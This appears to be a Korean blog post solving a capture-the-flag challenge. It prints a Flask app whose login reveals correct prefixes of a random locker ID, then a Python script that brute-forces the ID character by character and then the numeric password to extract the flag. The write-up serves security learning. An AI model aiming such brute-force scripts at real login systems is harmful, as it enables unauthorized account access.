random-test 풀이

mincom1224 2026. 5. 11. 19:50

#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import random

app = Flask(__name__)

try:
    FLAG = open("./flag.txt", "r").read()       # flag is here!
except:
    FLAG = "[**FLAG**]"


rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits
for i in range(4):
    rand_str += str(random.choice(alphanumeric))

rand_num = random.randint(100, 200)


@app.route("/", methods = ["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        locker_num = request.form.get("locker_num", "")
        password = request.form.get("password", "")

        if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
            if locker_num == rand_str and password == str(rand_num):
                return render_template("index.html", result = "FLAG:" + FLAG)
            return render_template("index.html", result = "Good")
        else: 
            return render_template("index.html", result = "Wrong!")
            
            
app.run(host="0.0.0.0", port=8000)

위는 random test 문제 코드이다.

처음 봤을 때 쿠키나 섹션이 없고 아직 잘 모르는 injection이나 하이젝션이 보이지 않아 일단 브루트 포스로 하자는 생각으로 브루트 포스 풀이방식으로 풀이식을 썼다. 위 id의 함정은 id만 맞아도 Good를 출력해준다는것이 핵심이였다. 그럼 일단 id를 먼저 구하고 그다음 password를 브루트포스로 구하면 충분히 풀수있는 문제였다.

import requests

url = "실제 문제 url"
alphanumeric = "abcdefghijklmnopqrstuvwxyz0123456789"

found_rand_str = ""
for i in range(4):
    for char in alphanumeric:
        test_str = found_rand_str + char
        data = {'locker_num': test_str, 'password': ''}
        res = requests.post(url, data=data)

        if "Good" in res.text:
            found_rand_str += char
            print(f"찾은 문자열: {found_rand_str}")
            break
print(f"최종 rand_str: {found_rand_str}")
for num in range(100, 201):
    data = {'locker_num': found_rand_str, 'password': str(num)}
    res = requests.post(url, data=data)

    if "FLAG:" in res.text:
        print(f"패스워드 찾음: {num}")
        print(f"결과: {res.text.split('FLAG:')[1].split('<')[0]}")
        break

'' 카테고리의 다른 글

session-basic 문제 풀이  (0) 2026.05.08